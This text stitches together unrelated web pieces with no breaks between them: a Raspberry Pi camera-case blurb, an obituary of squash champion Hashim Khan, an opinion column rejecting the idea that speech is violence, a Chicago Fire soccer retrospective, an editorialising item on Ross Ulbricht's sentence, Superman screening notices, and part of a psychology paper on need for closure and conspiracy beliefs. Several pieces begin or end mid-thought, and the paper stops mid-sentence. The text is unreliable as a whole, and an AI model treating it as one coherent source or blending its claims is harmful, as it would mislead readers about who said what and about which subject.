With the extra arm sections you have even more reach to catch those out of reach shots that are hard to get.
The case also can hold the Bright Pi LED add on board for the Raspberry Pi. This is a simple board that connects to the GPIO and can provide white or infrared light.
With the modular sections the SmartiPi Twist can be flexed in all kinds of positions.
The arm could also be connected directly to your own base bypassing the included plastic base.
He was believed to be 100-year-old. His youngest son, Mo, said in a phone interview that Khan died in his home with family by his side.
Mo Khan said of his father's death: “The world just lost the greatest player of all time “.
Illustrious career
Khan was the patriarch of Pakistan's squash supremacy, winning seven British Open titles.
At 37, Khan went to the British Open, the unofficial world championship. He had beaten the best player in the world, four-time defending champion Mahmoud El Karim of Egypt, 9-5, 9-0, 9-0, for his first title. His last was at 44.
About then, he had taught his brother, Azam, to play squash, and he won four titles. Hashim Khan’s cousin, Roshan Khan, and nephew, Mohibullah Khan, each captured one. Add Khan’s cousin’s son, Jahangir Khan, who won 10 straight titles through the 1980s, and the “Khan Dynasty” accounted for 23 British Open titles.
Khan had brought his family to the US in the early 1960s after being offered a lucrative deal to teach squash at the Uptown Athletic Club in Detroit. He had later taken a pro position at the Denver Athletic Club in the early ‘70s, with membership instantly soaring.
More than winning, Khan was known for sportsmanship — always allowing an opponent to leave the court first. He was all about respect.
Khan lost his daughter in 2007 and then his wife of 65 years, both to diabetes.
By Brett Chandrasekhar
Back in April, New York Times opinion writer Ulrich Baer came out in favor of censorship by arguing it was compatible with free speech.
Now, another NYT writer is also making the case for censorship laws, this time arguing that some forms of speech should be considered violence.
Lisa Feldman Barrett writes:
Your body also contains little packets of genetic material that sit on the ends of your chromosomes. They’re called telomeres. Each time your cells divide, their telomeres get a little shorter, and when they become too short, you die. This is normal aging. But guess what else shrinks your telomeres? Chronic stress. If words can cause stress, and if prolonged stress can cause physical harm, then it seems that speech — at least certain types of speech — can be a form of violence.
Unfortunately for Barrett and leftists who frequently make this argument, this is a blatant redefinition of what violence means.
Stop Redefining Words
According to Merriam-Webster, violence is “the use of physical force so as to injure, abuse, damage, or destroy.” [emphasis added]
According to Oxford, violence is “behavior involving physical force intended to hurt, damage, or kill someone or something.” [emphasis added]
Note that both definitions involve the use of physical force, which distinguishes it from mere words. Even Barrett’s key example, speech which causes stress which causes physical harm is not the employment of physical force. Were she to follow this definition consistently, she would have to say that things such as a stressful marriage were violence — a clear absurdity.
But the problem with this equivalence goes deeper than that. Logically speaking, just because A and B have the same effects does not make A and B the same thing. For example, people that pour milk before their cereal make me mad. Lisa Barrett’s NYT article also made me mad. But Barrett’s article is not the same thing as someone pouring milk before their cereal.
Americans should take notice every time the Left tries to redefine a word. Both Ulrich Baer’s attempt to redefine free speech and Lisa Barrett’s attempt to redefine violence are part of a strategy (knowingly or not) to redefine words to get their agenda, namely hate speech laws, passed. If they openly admitted they were in favor of censorship, they would automatically lose.
The Subjectivity of Hate Speech
“Okay,” Barrett might respond, “speech isn’t literally violence, but it sometimes has the same effects as violence: physical harm to the body. Shouldn’t we ban such speech on those grounds?”
Absolutely not. For one, people can choose to ignore speech that causes them stress or deal with it in different ways (for example, growing thicker skin — which is much easier to do for speech than someone stabbing you with a knife).
For another, there is an inherent subjectivity to the idea of “hate speech.” Hate speech is speech that might offend someone, or in Barrett’s case, speech that might add to the long-term stress of someone. Different individuals find different statements stressful. Once such a subjective notion is included, law can become expansive.
The author inadvertently demonstrates this herself. She states:
That’s why it’s reasonable, scientifically speaking, not to allow a provocateur and hatemonger like Milo Yiannopoulos to speak at your school. He is part of something noxious, a campaign of abuse. There is nothing to be gained from debating him, for debate is not what he is offering. On the other hand, when the political scientist Charles Murray argues that genetic factors help account for racial disparities in I.Q. scores, you might find his view to be repugnant and misguided, but it’s only offensive. It is offered as a scholarly hypothesis to be debated, not thrown like a grenade. There is a difference between permitting a culture of casual brutality and entertaining an opinion you strongly oppose. The former is a danger to a civil society (and to our health); the latter is the lifeblood of democracy. [emphasis added]
Barrett wants to make a distinction between Milo Yiannopoulos and Charles Murray: that the speech of the former would be banned but not the speech of the latter. However, 99% of those in favor of hate speech laws wouldn’t make this distinction. After all, campus groups didn’t just try to censor Yiannopoulos; they tried to censor Murray as well.
The reason for that is understandable: the distinction itself isn’t very solid. Does Barrett find it impossible that Murray’s speech could lead to a scenario where individuals on campus faced long-term stress? (As I noted above, different people find different things stressful) What if, for example, Murray went around university to university making his argument that blacks have lower IQ in part because of genetics, and it became a popular belief on campus? Couldn’t that be stressful for black students?
Turning Speech Into A Popularity Contest
Barrett also states:
What’s bad for your nervous system, in contrast, are long stretches of simmering stress. If you spend a lot of time in a harsh environment worrying about your safety, that’s the kind of stress that brings on illness and remodels your brain. That’s also true of a political climate in which groups of people endlessly hurl hateful words at one another, and of rampant bullying in school or on social media. [emphasis added]
“Hateful words” and “rampant bullying”? Is Barrett saying we should ban people from calling others bigots, racists, or sexists, or using “phobia” words to shame those they disagree with? Probably not. But this almost certainly causes long-term stress. Jack Phillips, who refused to bake a cake for a gay wedding, along with even average Christians, would have a case to make against the entire Left on these grounds. I have a suspicion that Barrett wouldn’t be consistent here.
Nevertheless, that is a serious problem with turning free speech into a popularity contest. By turning over decisions about free speech to the government, and thus to popular opinion, Barrett ensures that decisions will be made to ban speech that even she doesn’t want banned. When Democrats are in power, I suspect — I don’t know her full range of political beliefs — Barrett will get her way. But when Republicans are in power, Linda Sarsour will be banned from calling for jihad against Trump, which frightened a lot of Americans. There will be a back and forth brawl between Left and Right and everyone’s right to speak freely will be the victim.
A Stressful Regime
Finally, if Barrett is so concerned about stress, then what about the stress created from a regime where people are unsure what they can and can’t say?
In Sweden, for example, where hate speech laws exist, people are afraid to speak their minds for fear they will violate the law or rub other citizens the wrong way. This doesn’t just affect average folks. In March, a Swedish psychologist took precautions in a video interview such as wearing a hoodie to cover himself, blurring out his entire body, and using a voice filter to disguise his voice. If the viewer didn’t know any better, he would think the man were in a witness protection program, rather than simply discussing problems with Swedish immigration.
Stress, and even long-term stress, should never be the sole reason for banning something. It’s an overly subjective reason and any attempt to ban speech causing long-term stress would likely cause just as much stress, but for different people. Consistently applied it would lead to absurd back and forth contests between competing political parties, and would certainly demolish free speech in the United States.
EDITOR’s NOTE: The views expressed are those of the author, they are not necessarily representative of The Libertarian Republic or its sponsors.
Follow Brett Chandrasekhar on Gab and Twitter.
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Roger Stone to Donald Trump: Legalize Marijuana
The recently passed designated player rule, also known as the "Beckham rule," allowed Chicago to meet Blanco's salary demands. However, fans were suspicious. Weaned on workmanlike players, could Cuau's flare translate to MLS success? Would having a player earning millions per year upset the locker room balance? The results speak for themselves. The Chicago Fire were a team transformed. Cuau's four goals and seven assists spearheaded the Fire to the playoffs, qualifying on the last day of the season. He was a finalist for MVP honors and the Fire reached the conference finals before losing to New England.
How did he do it? Ever since getting his leg broken in a World Cup qualifier vs. Trinidad and Tobago in 2000, Blanco's game has revolved around anticipation, precision, and understanding, not foot speed. He has the build of an overweight accountant and hobbles around the field like Quasimoto, but his vision and touch with both feet allow him to see and feed more athletic teammates. At Club America, he was the chief provider for short and shifty Paraguayan forward Salvador Cabanas. At Chicago, he made competent and mobile forwards Chris Rolfe and Chad Barret look like all-stars. Any concerns about locker room balance dissipated as Blanco's silky smooth passes transformed his five-figure salary teammates into goalscorers and winners.
After an Eastern Conference Finals appearance, fans eagerly anticipated the new season. A new benchmark had been set. Then, another curve ball from management: the Fire discarded promising young striker Chad Barrett and acquired 36 year old former USMNT forward Brian McBride. What? In a game of youths running to kick a ball, Chicago had again gone veteran. Not just veteran, borderline mid-life crisis.
McBride had thrived in his last few seasons at Fulham, scoring important goals to stave off relegation and keep them in the Premier League. However, how much gas could he have in the tank after playing in such a bruising league for so many years? Many US fans recall his bloody face versus Italy in the 2006 World Cup, but few knew that he had already had facial reconstructive surgery beforehand. More importantly, how would he gel with Blanco? The Mexican's patience and passing seemed at odd with McBride's power game of hard running and winning headers.
Sometimes, though, opposites compliment one another, they don't corrode. McBride's hold-up play and work rate allowed Blanco time on the ball, and the American's intelligent positioning also opened up space for Chris Rolfe and Calen Carr in the box. In truth, McBride often appeared to lazily cherry pick at the far post for long spells, but his positioning was essential - anywhere else, and he'd step on the toe of another forward or Blanco. By occupying a central defender at the far post, he left Blanco, Carr and Rolfe in a 3 vs. 3 situation. And they thrived.
The Chicago Fire again reached the Eastern Conference finals, but this time lost to the Columbus Crew in heartbreaking fashion. McBride notched an early goal for a 1:0 lead at halftime, but the Crew staged a comeback, knocking in two goals to advance to the MLS Cup final. However, it was not all roses. To the shock of fans, Cuauhtemoc Blanco announced that he would be playing that winter for Mexican club Santos Laguna, on loan for the playoffs. Many worried - was he already homesick? Blanco had, after all, left Spanish club Real Valladolid years earlier for that same reason.
Blanco extended his contract with the Fire and returned for the 2009 MLS season, but many worried: how would a winter full of soccer, instead of rest, affect his aged legs? Not a single bit, that's how. Blanco and McBride again enjoyed fruitful seasons, the Fire made the playoffs, and faced a formidable Real Salt Lake side in the Eastern Conference Finals. The teams ended regulation and extra-time tied, and penalties beckoned. Who stepped up for Chicago's first kick? Cuau, of course. His deliberately long run-up was followed by a perfectly placed shot that dinged the cross bar and bounced in. McBride also scored. Their teammates were not so fortunate. John Thorrington, Logan Pause, and Brandon Prideaux all had their shots saved. RSL advanced, beat the Galaxy for the title, and left Chicago fans wondering "What if?"
Sadly, Blanco left Chicago shortly thereafter for the backwaters of lower-division soccer in Mexico. He still plays to this day. McBride grinded out another season, but hung up his boots after 2010. The Fire didn't even qualify for the playoffs that year. If the great Chicago fire of 1871 left a city in ashes, then the exit of the Fire's aging stars left the city and franchise in limbo. The promise of youth and drafts and prospects beckoned, but Blanco and McBride had taught all fans that, as Sophocles said, sometimes a "man growing old becomes a child again."
Elliott is the author of "Real Madrid & Barcelona: the Making of a Rivalry", available at iTunes for $5.99 here.
Ross Ulbricht is convicted to life in prison without parole for running Silk Road, a sentence that seems unfair and overly harsh at the time. Fast forward to today, and the matter continues to spark heated debates. Ulbricht’s defense lawyer seems to gain some ground in having judge’s look over the case once again.
Ross Ulbricht May Have His Sentence Reduced
To be more precise, a three-judge panel is not too certain Ulbricht’s life sentence punishment is justified. These judges openly criticized some aspects of the trial. Several parents of deceased former Silk Road customers were called in to testify at that time. This erased any legal chance Ross had of receiving a fair sentence, as these testimonies put an emotional burden on the case.
Judge Katherine Forrest, who handed down the life sentence judgment, argued six fatal overdoses were tied to Silk Road. She even went as far as saying Ulbricht created a “terribly destructive” platform. Additionally, she also hinted at Ulbricht paying to have six individuals killed, although none of these murders were ever carried out. In fact, Ross was never charged with these allegations either.
Unfortunately, the claims of tampered evidence being used in the court trial fell on deaf ears. Although two corrupt law enforcement agents have stolen bitcoins from Silk Road and attempted to extort him, the panel of judges was not overly sympathetic to these claims. The prosecution also reaffirmed none of the evidence used during the trial came from these two former agents.
What is rather disconcerting to this day is how the defense could not call up an expert witness to testify on Ulbricht’s behalf during the trial. Apparently, there may have been evidence indicating Ulbricht’s laptop had been hacked, and evidence was planted on it. The prosecution quickly dismissed these allegations, and the panel of judges did not touch upon it any further.
Assuming Ross Ulbricht gets the new trial he rightfully deserves, the life sentence without parole may be reduced. Then again, the defense would have to argument the severity of the punishment far exceeds the crimes committed. This may not be the most suitable strategy for a retrial, but it is legal grounds to do just that.
Before the film, swing by the 80s Cards vintage trading card table in the O Cinema, where original packs of movie trading cards will be available for purchase from the 70s, 80s, and 90s.
When you purchase a ticket online, you will be entered in a raffle to win a limited edition “Superman: The Movie” 1978 Christopher Reeve 18″ inch or 7″ inch action figure courtesy of NECA.
The screening will take place on Wednesday, September 13 at 9.00pm at the O Cinema Wynwood in Miami, Florida. Tickets are available at the O Cinema website.
A reminder to fans in Sydney, Australia about the special screening of “Superman II”, which will include a Q&A panel with actors Marc McClure (Jimmy Olsen) and Sarah Douglas (Ursa) at the Hayden Orpheum Picture Palace (380 Military Road, Cremorne) on Sunday, October 9 at 6:30pm. Visit Orpheum.com.au for tickets.
Perceiving the world as a place where there is no coincidence and where everything is planned and controlled is usually connected with beliefs in God (Laurin, Kay, & Moscovitch, 2008). However, as the existence of good is always accompanied by the existence of evil, some individuals believe that threatening random events are in fact a consequence of secret actions performed by a group of malevolent people (Imhoff & Bruder, 2014; Kofta & Sedek, 2005). By explaining how secret organizations covertly influence or cause major world events, conspiracy theories give simple and structured answers for difficult questions. It is, therefore, not surprising that they are often activated in the context of threat to individual and collective needs (Kossowska & Bukowski, 2015). Research has demonstrated that adopting conspiracy beliefs has been previously linked to lack of personal control (Whitson & Galinsky, 2008), uncertainty (van Prooijen & Jostmann, 2013; Whitson, Galinsky, & Kay, 2015), powerlessness (Abalakina‐Paap, Stephan, Craig, & Gregory, 1999; Jolley & Douglas, 2014), feelings of relative deprivation (Bilewicz, Winiewski, Kofta, & Wójcik, 2013), threatened ingroup identification (Cichocka, Marchlewska, Golec de Zavala, & Olechowski, 2015), and threatened self‐esteem (Cichocka, Marchlewska, & Golec de Zavala, 2015). Conspiracy thinking is a mindset connected with searching for explanations. Thus, it has been suggested that it should be associated with the epistemic motivation to reduce uncertainty and ambiguity by forming quick judgements (Kossowska & Bukowski, 2015)—often referred to as the need for cognitive closure (Kruglanski & Webster, 1996). Nevertheless, direct evidence for the positive link between need for cognitive closure and conspiracy beliefs has been lacking (e.g., Imhoff & Bruder, 2014; Leman & Cinnirella, 2013). In this research, we seek to examine if the nature of this relationship may depend on whether conspiratorial explanations related to a particular event are temporarily salient (vs. not). Feelings of uncertainty make it difficult to anticipate events or plan actions, and they seem especially aversive when an individual does not have resources to deal with this type of threat (Fiske & Taylor, 1991; Hogg & Adelman, 2013). A need to immediately eliminate uncertainty and find clear beliefs about reality is especially important for people high in need for cognitive closure (Kruglanski & Webster, 1996), who are determined to form quick judgements on any given topic (Kruglanski, 1990). In line with this reasoning, Roets and Van Hiel (2008) found that when closure is not attainable, people high in need for cognitive closure report distress and show an increased arousal assessed via a galvanic skin response. To reduce this aversive state, they demonstrate a heightened susceptibility to the primacy effect in impression formation and seize on any easily accessible information that assures closure (Freund, Kruglanski, & Shpitzajzen, 1985; Kruglanski & Webster, 1996; Webster & Kruglanski, 1994). This often results in biased knowledge formation and making choices based on partial evidence. Moreover, such decisions may be hard to modify, as an inclination to keep the closure leads to the process of freezing on the acquired information (Kruglanski, Freund, & Bar‐Tal, 1996; Roets, Kruglanski, Kossowska, Pierro, & Hong, 2015). Research conducted in the context of intergroup relations shows that temporarily salient cognitive schemas have crucial impact on the decision‐making process among individuals high in need for cognitive closure (Golec de Zavala, Federico, Cisłak, & Sigger, 2008; Golec & Federico, 2004). For example, need for cognitive closure is positively linked to making sharp distinctions between ingroups and outgroups, which leads to preference for competitive behaviors over cooperation. Golec de Zavala et al. (2008) showed that this relationship may be even stronger when a competitive schema is temporarily salient, and on the other hand significantly weaker when a cooperative schema is salient. Similarly, Kossowska and Van Hiel (2003) demonstrated that need for cognitive closure was positively related to the endorsement of political views that are chronically salient in a given political context, irrespective of whether these views were left wing or right wing. As the need for cognitive closure is associated with heuristic information processing based on easily accessible schemas (Kossowska & Bukowski, 2015; Webster & Kruglanski, 1994), we suggest that it may be linked to adopting conspiratorial explanations for unexplained events but only when a conspiratorial schema is made salient. Recent empirical research by Imhoff and Bruder (2014) or Leman and Cinnirella (2013; Study 1) examined the correlation between need for cognitive closure and beliefs in conspiracy theories but found this correlation to be weak and non‐significant. One reason for these weak relationships could be that none of these studies examined the link between need for cognitive closure and conspiracy beliefs in a context in which conspiracy theories would be particularly accessible to the individual. In one of their studies, Leman and Cinnirella (Study 2) examined adopting salient conspiratorial explanations for a fictitious situation among participants with experimentally lowered need for cognitive closure versus those in a control research condition. They found no significant differences between conditions, but the study did not include a high need for cognitive closure condition. Nevertheless, the results showed that lowering the need for cognitive closure led to analyzing both pro‐conspiracy and anti‐conspiracy evidence in a more detailed manner (Leman & Cinnirella, 2013). This is in line with studies linking the need for cognitive closure to lower levels of scrutiny in analyzing evidence (Ford & Kruglanski, 1995; Klein & Webster, 2000). As lower levels of scrutiny and lower analytic thinking have also been found to be related to stronger belief in conspiracy theories (Swami, Voracek, Stieger, Tran, & Furnham, 2014), one may expect that people high in need for cognitive closure should adopt conspiratorial explanations when conspiratorial explanations are salient and cannot be easily replaced by a different scenario.
Overview of the Current Research The aim of the current research was to provide a more complex understanding of the relationship between need for cognitive closure and the endorsement of conspiratorial explanations for major events. Need for cognitive closure is connected with desire for predictability, preference for structure, and intolerance of ambiguity. It urges the individual to attain closure as soon as possible (Roets et al., 2015). Conspiracy beliefs meet those expectations by offering structured maps of meaning and giving simple explanations for uncertain situations (Kossowska & Bukowski, 2015). In line with this reasoning, we assumed that the need for cognitive closure should predict the endorsement of conspiratorial explanations for major events but only when conspiratorial explanations are easily accessible. In other words, we proposed that when faced with ambiguous events accompanied by conspiratorial explanations, individuals high in need for cognitive closure should “seize” and “freeze” on conspiracy beliefs. We tested our assumptions in two experimental studies. In both experiments, we measured need for cognitive closure as the independent variable. In Experiment 1, we manipulated exposure to conspiracy explanations for the arrival of refugees in Poland. We hypothesized that participants high in need for cognitive closure would be more likely to rely on the conspiratorial explanation when it was made salient (compared with the control condition). In Experiment 2, we tested whether exposure to conspiracy explanations (compared with the control condition) would affect the link between need for cognitive closure and conspiracy beliefs for a mysterious plane crash, compared with a plane crash with confirmed non‐conspiratorial causes. We assumed that participants high in need for cognitive closure would rely on conspiratorial explanations for an uncertain (vs. certain) event only when such explanations are made salient (vs. not). However, when the non‐conspiratorial causes for the plane crash are known and certain, participants high in need for cognitive closure should freeze on them and, thus, reject salient conspiratorial explanations. Taking into consideration that conspiracy theories are often spread through the internet (see HIV denial conspiracy; Smith & Novella, 2007), we prepared our manipulations as imitations of online articles and conducted our experiments among internet users.
Experiment 1 In Experiment 1, we tested the hypothesis that the need for cognitive closure would be related to relying on conspiratorial explanation for a major event when a conspiratorial explanation was made salient. We focused on Poland's agreement to offer asylum to refugees from Syria and Eritrea as a part of the European Union (EU) relocation and resettlement program. This decision likely caused uncertainty among Polish residents. Ethnically, Poland is a very homogenous country, which often results in negative attitudes toward foreigners who do not share Polish traditions. According to the results of a survey conducted by one of the leading Polish public opinion research institutions, 78% of Poles linked refugees' arrival to reduced levels of safety, and only 5% declared that Poland should comply with EU directives and allow refugees to settle in Poland (Kowalczuk, Sobiecka, & Stalmach, 2015). Also, political rhetoric on the refugee crisis strengthened the feelings of uncertainty among people living in Poland. For example, Jaroslaw Kaczynski, leader of Poland's ruling Law and Justice Party, claimed that refugees could bring dangerous diseases and parasites to Poland (Goclowski, Barteczko, & Koper, 2015). Thus, we believed that in the face of such threats combined with a fear of the unknown “other,” individuals high in need for cognitive closure should be especially prone to rely on conspiratorial explanation standing behind refugees' arrival. In the study, we manipulated conspiracy salience by suggesting (or not) that the EU is secretly planning hostile actions against Poland to gain power and control over it. Method Participants Experiment 1 was conducted among 245 Polish internet users. The whole sample consisted of 132 women and 112 men (one person did not specify his/her gender). The age of the participants ranged from 14 to 88 years (M age = 36.93, SD = 14.21). Participation was voluntary and anonymous, with no remuneration offered to participants. 1 Procedure At the beginning of the study, participants were asked to fill out the measure of the need for cognitive closure. Then, all of the participants read a short text concerning the EU plans for rescue of Syrian and Eritrean refugees by financing their stay in Poland. The main text was prepared as an imitation of an online article. Participants were randomly assigned to one of two experimental conditions, which differed by the type of material presented below the main text. Participants in the conspiracy‐salience condition (n = 118) were exposed to an alleged internet conversation blaming the EU for conducting secret actions against Poland. According to the comments, refugees' arrival in Poland and supporting their stay by the EU were arranged to evoke chaos and gain power over Poland (e.g., “The EU will do everything to bring refugees specifically to Poland. This will evoke chaos and allow the EU to do whatever they want with Poland.” or “The EU funds? One day we will have to pay them back for all these donations.”). In the control condition (n = 127), participants were exposed to internet comments that were unrelated to conspiratorial thinking and approved the EU's rescuing action (e.g., “It is beneficial for Poles that the EU funds this action instead of asking Polish citizens to do it.”). 2 Afterwards, participants answered the questions about their belief in the EU's conspiracy standing behind the arrival of refugees in Poland. Measures Need for cognitive closure was measured using a short, 15‐item version of the Polish Need for Cognitive Closure Scale (Kossowska, Hanusz, & Trejtowicz, 2012). Participants were asked to rate each statement on a scale from 1 = completely disagree to 6 = completely agree, α = .67, M = 3.74, SD = 0.52. A higher mean score indicated a higher need for cognitive closure. Conspiracy beliefs were measured with six items: (i)“The EU hides the real reasons for binging refugees into Poland.”; (ii)“The EU offers help to the refugees selflessly.” (reverse coded); (iii) “The EU spreads the world about refugees' situation to divert the world's attention from the EU's real plans.”; (iv)“The EU brings refugees to Poland to destroy Polish culture.”; (v) “The EU secretly plans to take power over the Polish economy.”; and (vi) “The EU's plan to help refugees, that they present to Poland, is authentic.” (reverse coded). Participants were asked to rate each statement on a scale from 1 = completely disagree to 6 = completely agree, α = .89, M = 2.99, SD = 1.42. A higher mean score indicated higher conspiracy beliefs. Results and Discussion First, we computed the correlation between the need for cognitive closure and conspiracy beliefs across conditions. We found a significant positive relationship between these variables, r (243) = .22, p = .001. We then performed a hierarchical multiple regression analysis to investigate whether this relationship was moderated by the experimental conditions. Need for cognitive closure was mean‐centered prior to the analyses. Experimental conditions were coded −1 = control condition and 1 = conspiracy‐salience condition. In the first step, we investigated the effects of the need for cognitive closure and the experimental condition on conspiracy beliefs; F (2, 242) = 6.55, p = .002, R2 = .05. We found a positive significant effect of the need for cognitive closure, B = 0.60, SE = 0.17, p = .001, but no significant independent effect of experimental condition, B = 0.09, SE = 0.09, p = .31. In the second step, we introduced a two‐way interaction of the need for cognitive closure and the experimental condition. We found a significant positive effect of the need for cognitive closure, B = 0.64, SE = 0.17, p < .001, but no significant effect of experimental condition, B = 0.09, SE = 0.09, p = .30. The interaction of the need for cognitive closure and experimental condition was significant, B = 0.34, SE = 0.17, p = .046; for the whole model, F(3, 241) = 5.77, p = .001; R2 = .07, ΔR2 = .02. Simple slope analysis indicated that the need for cognitive closure significantly and positively predicted conspiracy beliefs in the conspiracy‐salience condition, B = 0.97, SE = 0.25, p < .001, and positively, albeit non‐significantly, in the control condition, B = 0.29, SE = 0.23, p = .20 (Figure 1). Figure 1 Open in figure viewerPowerPoint Interaction effect of need for cognitive closure and conspiracy‐salience (vs. control) condition on conspiracy beliefs. NFC, need for closure Experiment 1 confirmed that the need for cognitive closure was linked to the endorsement of conspiratorial explanations behind refugees' arrival in Poland. However, this effect was stronger when the conspiratorial explanation was made salient. People high in need for cognitive closure who were exposed to the conspiracy blaming the EU for secret actions against Poland were more likely to believe that the tragic situation of Syrian and Eritrean refugees was just a mystification. Apparently, they were ready to accept a coherent and certain story according to which the EU sends refugees to Poland in order to gain power over its economy or destroy Polish culture. These results provided initial confirmation of our hypothesis in the context of reactions to the influx of foreigners to one's own country.
Experiment 2 In Experiment 2, we aimed to replicate the pattern of results obtained in Experiment 1. We further examined whether the endorsement of salient conspiracy theories by those high in need for cognitive closure will depend on whether the event did or did not have a clear official explanation. Individuals high in need for cognitive closure demonstrate a heightened susceptibility to the primacy effect in impression formation and seize on easily accessible information assuring closure (Freund et al., 1985; Kruglanski & Webster, 1996; Webster & Kruglanski, 1994). Thus, we expected the strongest link between the need for cognitive closure and the endorsement of conspiracy theories when these theories are made salient, but at the same time, a more plausible official explanation is lacking (i.e., participants experience uncertainty about the cause of the event). However, when official, non‐conspiratorial causes of the event assure certainty, people high in need for cognitive closure should focus on these official explanations and as a result reject salient conspiratorial beliefs, which are inconsistent with previously collected information. We examined our hypothesis in a different context that is frequently associated with the spreading of conspiracy theories—major plane catastrophes. Specifically, we predicted that in the context of uncertainty about the explanation for a plane crash, we would observe a stronger link between the need for cognitive closure and conspiracy beliefs than in the context of certain, official explanations. However, on the basis of the results of Study 1, we expect this effect to be observed only when the conspiracy theories about the plane crash are made salient (vs. not). 3 In the uncertainty condition, we used the story of Malaysia Airlines Boeing 777, which disappeared with 239 passengers on board on 8 March 2014 during a flight from Kuala Lumpur to Beijing. In spite of massive international action for 16 months, no trace of the plane had been found. In July 2015, fragments of the plane were discovered on the island of Reunion. Still, there is no knowledge about what exactly happened to the plane after it disappeared from the radar and what caused its crash. In the certainty condition, we used the story of the Germanwings Airbus A320 plane crash, which took place on 24 March 2015 when the airplane was flying from Barcelona to Düsseldorf, suddenly lost height and began an unexplained descent into North Alps. All 150 passengers were killed. On 27 March 2015 media reported that it was the pilot—Andreas Lubitz—suffering from mental health illness who deliberately destroyed the plane (Knolle, 2015) and that there was therefore no conspiracy. We collected data in September–November of 2015, after the non‐conspiratorial explanation for this tragic event was officially confirmed and announced by international media. As in Experiment 1, we hypothesized that people high in need for cognitive closure would endorse conspiratorial explanations standing behind the uncertain event (i.e., Malaysia Airlines Boeing 777 crash) when the conspiracy theories were made salient. Moreover, we assumed that people high in need for cognitive closure would reject conspiratorial explanations standing behind a certain event (i.e., Germanwings Airbus A320) even when the conspiracy theories were made salient. Because the study was conducted in Poland, the conspiracy salience manipulation was based on the Smolensk conspiracy theory, which is popular among Poles and refers to the alleged conspiratorial causes of the plane crash that killed the Polish president, the first lady, and almost 100 government officials in 2010. After this event, many Poles believed that Russians tend to assassinate their political enemies by secret air attacks (Grzesiak‐Feldman & Haska, 2012). Thus, in the conspiracy‐salience condition, we suggested Russian involvement in the plane crash. Method Participants Experiment 2 was conducted among 455 Polish internet users. The sample consisted of 314 women and 137 men. The age of the participants ranged from 15 to 93 years (M age = 30.16, SD = 12.84). Participation was voluntary and anonymous, with no remuneration offered to participants. Procedure First, participants were asked to fill out the measure of the need for cognitive closure. Next, they were randomly assigned to one of the experimental conditions. The study design employed a 2 (event certainty vs. event uncertainty) × 2 (conspiracy‐salience vs. control) manipulation. We manipulated certainty (vs. uncertainty) of the explanation by having participants read stories concerning a plane crash which was caused by officially known (vs. unknown) factors. Participants in the event uncertainty condition (n = 230) read a short text about the story of the unexplained disappearance of the Malaysia Airlines Boeing 777 plane and were explicitly reminded that the causes of the event still remained unknown. Participants in the certainty condition (n = 225) read a short text concerning the story of the Germanwings Airbus A320 plane crash and were explicitly reminded about the known causes of the crash. In both conditions, the main text was prepared as an imitation of an online article. The second experimental manipulation was similar to that used in Experiment 1. Participants in the conspiracy‐salience condition (n = 224) were exposed to internet comments blaming Russians for conducting secret actions to destroy the plane (e.g., “Russians have always had tendency to plan and commit such crimes…” or “Indeed, it cannot be ruled out that Russians are behind this.”). In the control condition (n = 231), participants were exposed to internet comments that were unrelated to conspiratorial thinking (e.g., “Sad…” or “I cannot believe it.”). Afterwards, participants answered the questions about conspiracy beliefs for a plane crash that they read about. Measures Need for cognitive closure was measured using a short, 15‐item version of the Polish Need for Cognitive Closure Scale (Kossowska et al., 2012), as in Experiment 1, α = .74, M = 3.62, SD = 0.57. A higher mean score indicated a higher need for cognitive closure. Conspiracy beliefs were measured with four items: (i)“The real cause of the crash lay in the secret activities of a certain group of people.”; (ii) “The truth about the cause of the crash was covered up by certain groups of people.”; (iii) “The destruction on the plane was carefully planned by a certain group of people.”; and (iv) “Those who will try to establish the truth about the cause of the crash, will not be allowed to speak.”; α = .93, M = 2.48, SD = 1.31. A higher mean score indicated higher conspiracy beliefs. Results and Discussion First, we computed the correlation between need for closure and conspiracy beliefs across conditions. Unlike Study 1, this correlation was non‐significant, r (453) = .02, p = .71. Second, the independent t‐test revealed that participants in the uncertainty condition showed higher conspiracy belief (M = 2.80, SD = 1.34) than participants in the certainty condition (M = 2.15, SD = 1.19), t (453) = −5.47, p < .001, which is in line with previous research linking uncertainty to adopting conspiracy beliefs (van Prooijen & Jostmann, 2013; Whitson et al., 2015). Finally, we performed a hierarchical multiple regression analysis to investigate the effects of the need for cognitive closure on conspiracy beliefs in interaction with variables coding both experimental manipulations. The need for cognitive closure was mean‐centered prior to the analyses. Event certainty manipulation was coded as −1 = uncertainty and 1 = certainty condition. Conspiracy‐salience manipulation was coded −1 = control and 1 = conspiracy‐salience condition. In the first step, we investigated the effects of the need for cognitive closure and the experimental conditions on conspiracy beliefs; F (3, 449) = 11.54, p < .001, R2 = .07. We found a negative significant effect of certainty condition, B = −0.34, SE = 0.06, p < .001, indicating that participants were more likely to endorse conspiracy beliefs about the uncertain (Malaysia Airlines) than the certain (Germanwings) flight. We also found a non‐significant effect of conspiracy‐salience condition, B = 0.03, SE = 0.10, p = .75, indicating that, as in Study 1, exposure to conspiracy theories was not enough to increase their endorsement among our participants. Finally, we found a non‐significant effect of the need for cognitive closure, B = 0.03, SE = 0.10, p = .48, on conspiracy beliefs. In the second step, we introduced 3 two‐way interactions between all the predictors; F (6, 446) = 6.38, p < .001, R2 = .08, ΔR2 = .01, p = .31. We found a negative significant effect of certainty condition, B = −0.34, SE = 0.06, p < .001, no significant effects of conspiracy‐salience experimental condition, B = 0.04, SE = 0.06, p = .54, or need for cognitive closure, B = 0.02, SE = 0.10, p = .83, on conspiracy beliefs. The two‐way interactions between (1) need for cognitive closure and conspiracy‐salience research condition, B = −0.07, SE = 0.10, p = .50, and (2) conspiracy‐salience and certainty research conditions, B = 0.02, SE = 0.06, p = .72, were non‐significant. We only found a marginally significant two‐way interaction between (3) the need for cognitive closure and certainty condition, B = −0.18, SE = 0.10, p = .09. In the third step, we introduced a three‐way interaction between all the predictors. We found a negative significant effect of certainty condition, B = −0.35, SE = 0.06, p < .001, no significant effects of conspiracy‐salience experimental condition, B = 0.03, SE = 0.06, p = .61, or need for cognitive closure, B = 0.04, SE = 0.10, p = .40, on conspiracy beliefs. The two‐way interactions between (1) need for cognitive closure and conspiracy‐salience research condition, B = −0.07, SE = 0.10, p = .50, and (2) conspiracy‐salience and certainty research conditions, B = 0.02, SE = 0.06, p = .73, were non‐significant. We also found a marginally significant two‐way interaction between (3) the need for cognitive closure and certainty condition, B = −0.19, SE = 0.10, p = .06. However, this interaction was qualified by a significant three‐way interaction between need for cognitive closure, conspiracy‐salience research condition and certainty research condition, B = −0.22, SE = 0.10, p = .03; for the whole model 